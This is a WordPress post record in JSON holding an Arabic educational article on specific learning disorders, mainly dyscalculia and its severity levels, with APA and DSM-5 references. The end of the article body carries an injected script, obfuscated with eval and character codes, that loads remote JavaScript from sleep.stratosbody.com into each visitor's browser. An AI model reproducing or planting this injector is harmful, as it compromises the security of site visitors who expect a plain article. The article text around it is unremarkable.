\u0627\u0644\u0623\u0631\u0642\u0627\u0645 \u0648\u0641\u0647\u0645 \u062f\u0644\u0627\u0644\u0627\u062a\u0647\u0627 \u0648\u0635\u0639\u0648\u0628\u0629 \u0625\u062c\u0631\u0627\u0621 \u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629 \u0648\u0635\u0639\u0648\u0628\u0629 \u0641\u0647\u0645 \u062f\u0644\u0627\u0644\u0627\u062a \u0648\u0645\u0639\u0627\u0646\u064a \u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629 \u0643\u0639\u0644\u0627\u0645\u0627\u062a \u0627\u0644\u0637\u0631\u062d \u0648\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0648\u0627\u0644\u0642\u0633\u0645\u0629 \u0648\u0627\u0644\u062c\u0645\u0639\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0635\u0639\u0648\u0628\u0629 \u062a\u0630\u0643\u0631 \u0627\u0644\u062d\u0642\u0627\u0626\u0642 \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629 \u0648\u0627\u0644\u0627\u0633\u062a\u062f\u0644\u0627\u0644 \u0627\u0644\u062d\u0633\u0627\u0628\u064a \u0623\u0648 \u0627\u0644\u0631\u064a\u0627\u0636\u064a. \u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u064a\u0645\u062b\u0644<\/strong> \u0639\u0633\u0631 \u0623\u0648 \u0635\u0639\u0648\u0628\u0629 \u062a\u0639\u0644\u0645 \u0627\u0644\u062d\u0633\u0627\u0628 \u0635\u064a\u063a\u0629 \u0623\u062e\u0631\u0649 \u0645\u0646 \u0635\u064a\u063a \u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0639\u0635\u0628\u064a\u0629 \u0627\u0644\u0645\u0646\u0634\u0623\u060c \u0648\u0623\u062a\u062a \u0643\u0644\u0645\u0629 \u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 \u0623\u0648<strong> Dyscalculia <\/strong>\u0645\u0646 \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u064a\u0648\u0646\u0627\u0646\u064a\u0629 \u0648 \u0627\u0644\u0644\u0627\u062a\u064a\u0646\u064a\u0629 \u0648\u0627\u0644\u062a\u064a \u062a\u0639\u0646\u064a \u0627\u0644\u0639\u062f \u0628\u0634\u0643\u0644 \u0633\u064a\u0621\u060c \u0627\u0644\u0645\u0642\u062f\u0645\u0629 \u0641\u064a \u0627\u0644\u0643\u0644\u0645\u0629<strong> &#8220;dys&#8221; <\/strong>\u062a\u0639\u0646\u064a \u0641\u064a \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0644\u0627\u062a\u064a\u0646\u064a\u0629 \u0648\u0627\u0644\u0625\u063a\u0631\u064a\u0642\u064a\u0629 \u0633\u064a\u0621 \u0648\u064e<strong> &#8220;Calculia&#8221; <\/strong>\u0645\u064f\u0646\u062d\u062f\u0631\u0629 \u0645\u0646 \u0627\u0644\u0644\u0627\u062a\u064a\u0646\u064a\u0629<strong> &#8220;calculare&#8221; <\/strong>\u0648\u0627\u0644\u062a\u064a \u062a\u0639\u0646\u064a \u0627\u0644\u0639\u062f\u060c \u0643\u0644\u0645\u0629 \u0627\u0644\u062d\u0633\u0627\u0628<strong> &#8220;calculare&#8221; <\/strong>\u0622\u062a\u064a\u0629 \u0645\u0646<strong> &#8220;calculus&#8221; <\/strong>\u0645\u0635\u063a\u0631<strong> calx <\/strong>\u0648\u0627\u0644\u062a\u064a \u062a\u0639\u0646\u064a \u0627\u0644\u062d\u062c\u0631\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u0639\u0646\u064a \u062d\u0635\u064a\u0629 \u0623\u0648 \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u0639\u062f\u0627\u062f \u0641\u064a \u0627\u0644\u0645\u0639\u062f\u0627\u062f (\u062c\u0647\u0627\u0632 \u062a\u0639\u0644\u064a\u0645 \u0627\u0644\u0639\u062f). \u0648\u062a\u0624\u062b\u0631 \u0635\u0639\u0648\u0628\u0629 \u062a\u0639\u0644\u0645 \u0627\u0644\u062d\u0633\u0627\u0628 \u0639\u0644\u0649 \u0642\u062f\u0631\u0629 \u0627\u0644\u0634\u062e\u0635 \u0639\u0644\u0649 \u0625\u062c\u0631\u0627\u0621 \u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629 \u0648\/\u0623\u0648 \u062d\u0644 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629<strong>.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u062a\u062c\u0631\u0649<\/strong> \u062f\u0631\u0627\u0633\u0627\u062a \u0628\u062d\u062b\u064a\u0629 \u0627\u0644\u0622\u0646 \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0645\u0646\u0627\u0637\u0642 \u0627\u0644\u062e\u0644\u0644 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0641\u064a \u0627\u0644\u062f\u0645\u0627\u063a \u0627\u0644\u0645\u0633\u0626\u0648\u0644\u0629 \u0639\u0646 \u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 \u0623\u0648 \u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062d\u0633\u0627\u0628\u060c \u0643\u0645\u0627 \u0623\u0646 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u0628\u062d\u062b\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0633\u062a\u0641\u064a\u062f \u0645\u0646 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062a\u0635\u0648\u064a\u0631 \u0627\u0644\u0639\u0635\u0628\u064a \u0627\u0644\u062d\u062f\u064a\u062b\u0629 \u0644\u064a\u0633\u062a \u0628\u0646\u0641\u0633 \u0627\u0644\u0643\u062b\u0627\u0641\u0629 \u0641\u064a \u062f\u0631\u0627\u0633\u0627\u062a \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0648\u0645\u0639 \u0630\u0644\u0643 \u0648\u062b\u0642\u062a \u0628\u0639\u0636 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0646\u0627\u0648\u0644\u062a \u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0639\u0635\u0628\u064a\u0629 \u0627\u0644\u0645\u0639\u0631\u0641\u064a\u0629 \u0644\u0630\u0648\u064a \u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 \u0648\u062c\u0648\u062f \u0623\u0646\u0645\u0627\u0637 \u0645\u062d\u062f\u062f\u0629 \u0645\u0646 \u0627\u0644\u0639\u062c\u0632 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0641\u064a \u0627\u0644\u062f\u0645\u0627\u063a \u0641\u064a \u0645\u0646\u0627\u0637\u0642 \u0645\u062d\u062f\u062f\u0629 \u0645\u0633\u0626\u0648\u0644\u0629 \u0639\u0646 \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0623\u0631\u0642\u0627\u0645<strong> (Swanson, Beebe-Frankenberger, 2004; Wilson &amp; Swanson, 2001) <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u064a\u0648\u062c\u062f<\/strong> \u0628\u0639\u0636 \u0627\u0644\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u0641\u0631\u0639\u064a\u0629 \u0645\u0646 \u0635\u0639\u0648\u0628\u0627\u062a \u062a\u0639\u0644\u0645 \u0627\u0644\u062d\u0633\u0627\u0628 \u0623\u0648 \u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 \u062a\u0643\u0648\u0646 \u0645\u062c\u0631\u062f \u062a\u062f\u0627\u0639\u064a\u0627\u062a \u0623\u0648 \u0646\u0648\u0627\u062a\u062c \u0644\u0635\u064a\u063a \u0627\u0644\u0642\u0635\u0648\u0631 \u0627\u0644\u0633\u0645\u0639\u064a \u0640 \u0627\u0644\u0644\u063a\u0648\u064a<strong> auditory-linguistic deficits <\/strong>\u0627\u0644\u062a\u064a \u062a\u0633\u0628\u0628 \u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0648\u0642\u062a \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0628\u064a\u0646\u0645\u0627 \u062a\u0631\u062c\u0639 \u0623\u0646\u0645\u0627\u0637 \u0623\u062e\u0631\u0649 \u0644\u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 \u0625\u0644\u0649 \u0627\u0644\u062e\u0644\u0644 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0627\u0644\u0628\u0635\u0631\u064a \u0640 \u0627\u0644\u0645\u0643\u0627\u0646\u064a <strong>visual-spatial dysfunction<\/strong> <strong>(Hecht, Torgesen, Wagne &amp; Rashotte, 2001) <\/strong><strong>\u062e\u0627\u0645\u0633\u064b\u0627- \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0634\u062f\u0629 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u0645\u062d\u062f\u062f:<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u062a\u062a\u0628\u0627\u064a\u0646<\/strong> \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0634\u062f\u0629 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0623\u0648 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0648\u0641\u0642\u064b\u0627 \u0644\u0644\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u062b\u0644\u0627\u062b\u0629 \u0627\u0644\u0645\u0634\u0627\u0631 \u0625\u0644\u064a\u0647\u0627\u060c \u0648\u0644\u0647\u0630\u0627 \u0627\u0644\u062a\u0628\u0627\u064a\u0646 \u062f\u0644\u0627\u0644\u0627\u062a \u0641\u064a\u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0637\u0628\u064a\u0639\u0629 \u0648\u0646\u0648\u0639\u064a\u0629 \u0628\u0631\u0627\u0645\u062c \u0627\u0644\u062a\u062f\u062e\u0644 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a \u0648\u0627\u0644\u0625\u0631\u0634\u0627\u062f\u064a \u0648\u0627\u0644\u0639\u0644\u0627\u062c\u064a \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629 \u0644\u0643\u0644 \u062d\u0627\u0644\u0629 \u0639\u0644\u0649 \u062d\u062f\u0629\u060c \u0648\u062a\u062a\u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0641\u064a\u0645\u0627 \u064a\u0644\u064a:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt;\"><strong>\u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0628\u0633\u064a\u0637<\/strong> <strong>Mild<\/strong>: \u062d\u064a\u062b \u062a\u0643\u0648\u0646 \u0628\u0639\u0636 \u0635\u0639\u0648\u0628\u0627\u062a \u0623\u0648 \u0645\u062a\u0627\u0639\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0641\u064a \u0645\u062c\u0627\u0644 \u0623\u0648 \u0627\u062b\u0646\u064a\u0646 \u0641\u0642\u0637 \u0645\u0646 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0645\u0639 \u0642\u062f\u0631\u0629 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0639\u0644\u0649 \u0627\u0644\u062a\u0639\u0648\u064a\u0636 \u0628\u0642\u0644\u064a\u0644 \u0645\u0646 \u0627\u0644\u0645\u0633\u0627\u0646\u062f\u0629 \u0648\u0628\u0631\u0627\u0645\u062c \u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0628\u0633\u064a\u0637\u0629 \u0648\u062a\u0639\u062f\u064a\u0644\u0627\u062a \u0646\u0648\u0639\u064a\u0629 \u0641\u064a \u0623\u0633\u0627\u0644\u064a\u0628 \u0648\u0637\u0631\u0627\u0626\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0648\u0623\u0646\u0634\u0637\u0629 \u0625\u062b\u0631\u0627\u0626\u064a\u0629 \u0631\u0628\u0645\u0627 \u064a\u0642\u0648\u0645 \u0628\u0647\u0627 \u0627\u0644\u0645\u0639\u0644\u0645 \u0627\u0644\u0645\u0624\u0647\u0644 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u062d\u0627\u0644\u0627\u062a.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\"><strong>\u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u062a\u0648\u0633\u0637<\/strong> <strong>Moderate<\/strong>: \u0648\u064a\u0639\u0627\u0646\u064a \u0641\u064a\u0647 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0645\u0646 \u0635\u0639\u0648\u0628\u0627\u062a \u062c\u0648\u0647\u0631\u064a\u0629 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 \u062a\u062a\u0637\u0644\u0628 \u062a\u062f\u0631\u064a\u0633\u064b\u0627 \u062e\u0627\u0635\u064b\u0627 \u0648\u062a\u0639\u062f\u064a\u0644\u0627\u062a \u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u062c\u0648\u0647\u0631\u064a\u0629 \u0648\u062e\u062f\u0645\u0627\u062a \u0645\u0633\u0627\u0646\u062f\u0629 \u0639\u0644\u0649 \u064a\u062f \u0645\u062a\u062e\u0635\u0635 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\"><strong>\u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0634\u062f\u064a\u062f<\/strong> <strong>Severe<\/strong>: \u0648\u064a\u0639\u0627\u0646\u064a \u0641\u064a\u0647 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0645\u0646 \u0635\u0639\u0648\u0628\u0627\u062a \u062d\u0627\u062f\u0629 \u0648\u0634\u062f\u064a\u062f\u0629 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 \u0628\u0645\u0627 \u064a\u0624\u062b\u0631 \u0639\u0644\u0649 \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0644\u0644\u062a\u0639\u0644\u0645 \u0648\u064a\u062a\u0637\u0644\u0628 \u0627\u0644\u0623\u0645\u0631 \u062a\u062f\u0631\u064a\u0633\u064b\u0627 \u0646\u0648\u0639\u064a\u064b\u0627 \u062a\u062e\u0635\u0635\u064a\u064b\u0627 \u0645\u0643\u062b\u0641\u064b\u0627 \u0639\u0644\u0649 \u064a\u062f \u0627\u062e\u062a\u0635\u0627\u0635\u064a \u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0645\u0639 \u062a\u0637\u0628\u064a\u0642 \u0628\u0631\u0627\u0645\u062c \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0648\u0627\u0644\u062a\u0639\u0644\u064a\u0645 \u0627\u0644\u0639\u0644\u0627\u062c\u064a.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt; color: #000000;\"><strong>\u0633\u0627\u062f\u0633\u064b\u0627- \u0645\u0635\u062f\u0631 \u0627\u0644\u0645\u0642\u0627\u0644: \u00a0<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>The American Psychiatric Association (APA) (2021). <\/strong>What Is Specific Learning Disorder?. <strong>Physician Review By: <\/strong>Latoya Frolov, M.D., M.P.H.<\/span><br \/>\n<span style=\"font-size: 10pt;\">Mary Ann Schaepper, M.D., M.Ed, DFAPA,: <a href=\"https:\/\/www.psychiatry.org\/patients-families\/specific-learning-disorder\/what-is-specific-learning-disorder\">https:\/\/www.psychiatry.org\/patients-families\/specific-learning-disorder\/what-is-specific-learning-disorder<\/a><\/span><\/p>\n<h1 style=\"text-align: justify;\"><span style=\"font-size: 10pt; color: #000000;\">\u0633\u0627\u0628\u0639\u064b\u0627- \u0627\u0644\u0645\u0631\u0627\u062c\u0639 \u0627\u0644\u0645\u0639\u062a\u0645\u062f \u0639\u0644\u064a\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u0642\u0627\u0644: \u00a0<\/span><\/h1>\n<ol>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">American Psychiatric Association. (2013). Diagnostic and Statistical Manual of Mental Disorders, Fifth Edition. (DSM-5) American Psychiatric Association Publishing.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">Shaywitz SE, Shaywitz JE, Shaywitz BA. (2021). Dyslexia in the 21st century. Current Opinion in Psychiatry, 34(2):80-86.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">Gerber PJ: (2011). The impact of learning disabilities on adulthood: a review of the evidenced-based literature for research and practice in adult education. J Learn Disabil 45(1):31\u201346.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">Gabbard, GO. (2014). Gabbard\u2019s Treatments of Psychiatric Disorder, Fifth Edition. American Psychiatric Publishing.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">Tannock, R. (2014). DSM-5 Changes in Diagnostic Criteria for Specific Learning Disabilities (SLD): What are the Implications? International Dyslexia Association.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">Every Student Succeeds Act (2016). Opportunities for school psychologists. National Association of School Psychologists. Communiqu\u00e9. 44(8):13.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">Shaywitz, S. (2005). Overcoming Dyslexia, Yale Center for Dyslexia and Creativity. Random House.<\/span><\/li>\n<\/ol>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0625\u0639\u062f\u0627\u062f: \u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629 | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629\u060c \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631 \u0645\u0642\u062f\u0645\u0629: \u064a\u0639\u062f \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0623\u0648 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 Specific Learning Disorders&#8221; \u0645\u0635\u0637\u0644\u062d\u064b\u0627 \u062c\u062f\u064a\u062f\u064b\u0627 \u0639\u0644\u0649 \u0648\u0627\u0639\u064a\u0629 \u0631\u062c\u0644 \u0627\u0644\u0634\u0627\u0631\u0639 \u0627\u0644\u0639\u0627\u062f\u064a\u060c \u0648\u0627\u0644\u0645\u0624\u0643\u062f \u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0635\u0637\u0644\u062d \u0644\u0627 \u064a\u0639\u0628\u0631 \u0639\u0646 \u0627\u0636\u0637\u0631\u0627\u0628\u064b\u0627 \u062c\u062f\u064a\u062f\u064b\u0627\u060c \u0628\u0644 \u064a\u0645\u062b\u0644 \u0625\u0639\u0627\u062f\u0629 \u0635\u064a\u0627\u063a\u0629 \u0623\u0648 \u0639\u0644\u0627\u0645\u0629 \u062a\u062c\u0627\u0631\u064a\u0629 \u0645\u0639\u0627\u0635\u0631\u0629 \u0644\u0645\u0627 \u064a\u0643\u0646 \u064a\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 &#8220;\u0635\u0639\u0648\u0628\u0627\u062a &hellip;<\/p>\n","protected":false},"author":2,"featured_media":44030,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/70925"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=70925"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/70925\/revisions"}],"predecessor-version":[{"id":70926,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/70925\/revisions\/70926"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/media\/44030"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=70925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=70925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=70925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}